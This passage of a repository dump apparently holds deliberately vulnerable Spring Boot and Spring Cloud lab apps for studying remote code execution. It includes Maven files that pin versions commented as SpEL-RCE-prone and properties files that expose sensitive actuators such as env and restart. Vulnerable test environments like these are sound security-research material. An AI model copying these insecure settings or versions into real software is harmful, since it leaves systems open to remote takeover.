String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-restart-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9098 2 | server.address=127.0.0.1 3 | 4 | 5 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 6 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 7 | # no configuration required to expose them 8 | 9 | # safe configuration set 0: spring boot 1.0 - 1.4 10 | #management.security.enabled=true 11 | 12 | # vulnerable configuration set 1: spring boot 1.5+ 13 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 14 | #management.security.enabled=false 15 | 16 | # safe configuration set 1: spring boot 1.5+ 17 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 18 | #management.security.enabled=false 19 | 20 | ## vulnerable configuration set 2: spring boot 2+ 21 | #management.security.enabled=false 22 | #management.endpoint.refresh.enabled=true 23 | management.endpoints.web.exposure.include=env,restart,refresh 24 | #management.endpoints.web.exposure.include=* 25 | management.endpoint.restart.enabled=true 26 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springboot-spel-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | 11 | <properties> 12 | <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> 13 | <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> 14 | <java.version>1.7</java.version> 15 | <!-- version 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 will be SpEL rce--> 16 | <springboot.version>1.3.0.RELEASE</springboot.version> 17 | </properties> 18 | 19 | <dependencies> 20 | <dependency> 21 | <groupId>org.springframework.boot</groupId> 22 | <artifactId>spring-boot-starter-web</artifactId> 23 | <version>${springboot.version}</version> 24 | </dependency> 25 | </dependencies> 26 | 27 | <build> 28 | <plugins> 29 | <plugin> 30 | <groupId>org.springframework.boot</groupId> 31 | <artifactId>spring-boot-maven-plugin</artifactId> 32 | <version>${springboot.version}</version> 33 | </plugin> 34 | </plugins> 35 | </build> 36 | 37 | </project> -------------------------------------------------------------------------------- /repository/springboot-spel-rce/springboot-spel-rce.iml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <module type="JAVA_MODULE" version="4" /> -------------------------------------------------------------------------------- /repository/springboot-spel-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9091 2 | server.address=127.0.0.1 3 | -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springcloud-snakeyaml-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | 11 | <properties> 12 | <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> 13 | <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> 14 | <java.version>1.8</java.version> 15 | 16 | <springboot.version>1.4.7.RELEASE</springboot.version> 17 | <springcloud.version>1.2.5.RELEASE</springcloud.version> 18 | 19 | <!-- <springboot.version>2.2.0.RELEASE</springboot.version>--> 20 | <!-- <springcloud.version>2.2.2.RELEASE</springcloud.version>--> 21 | 22 | </properties> 23 | 24 | <dependencies> 25 | 26 | <dependency> 27 | <groupId>org.springframework.boot</groupId> 28 | <artifactId>spring-boot-starter-actuator</artifactId> 29 | <version>${springboot.version}</version> 30 | </dependency> 31 | 32 | <dependency> 33 | <groupId>org.springframework.boot</groupId> 34 | <artifactId>spring-boot-starter-web</artifactId> 35 | <version>${springboot.version}</version> 36 | </dependency> 37 | 38 | <dependency> 39 | <groupId>org.springframework.cloud</groupId> 40 | <artifactId>spring-cloud-starter</artifactId> 41 | <version>${springcloud.version}</version> 42 | </dependency> 43 | 44 | <!-- <dependency>--> 45 | <!-- <groupId>org.springframework.cloud</groupId>--> 46 | <!-- <artifactId>spring-cloud-dependencies</artifactId>--> 47 | <!-- <version>Hoxton.SR4</version>--> 48 | <!-- <type>pom</type>--> 49 | <!-- <scope>runtime</scope>--> 50 | <!-- </dependency>--> 51 | 52 | </dependencies> 53 | 54 | <build> 55 | <plugins> 56 | <plugin> 57 | <groupId>org.springframework.boot</groupId> 58 | <artifactId>spring-boot-maven-plugin</artifactId> 59 | <version>${springboot.version}</version> 60 | </plugin> 61 | </plugins> 62 | </build> 63 | 64 | </project> -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/springcloud-snakeyaml-rce.iml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <module type="JAVA_MODULE" version="4" /> -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9092 2 | server.address=127.0.0.1 3 | 4 | 5 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 6 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 7 | # no configuration required to expose them 8 | 9 | # safe configuration set 0: spring boot 1.0 - 1.4 10 | #management.security.enabled=true 11 | 12 | # vulnerable configuration set 1: spring boot 1.5+ 13 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 14 | #management.security.enabled=false 15 | 16 | # safe configuration set 1: spring boot 1.5+ 17 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 18 | #management.security.enabled=false 19 | 20 | # vulnerable configuration set 2: spring boot 2+ 21 | #management.endpoints.web.exposure.include=* 22 | #management.endpoint.env.post.enabled=true 23 | --------------------------------------------------------------------------------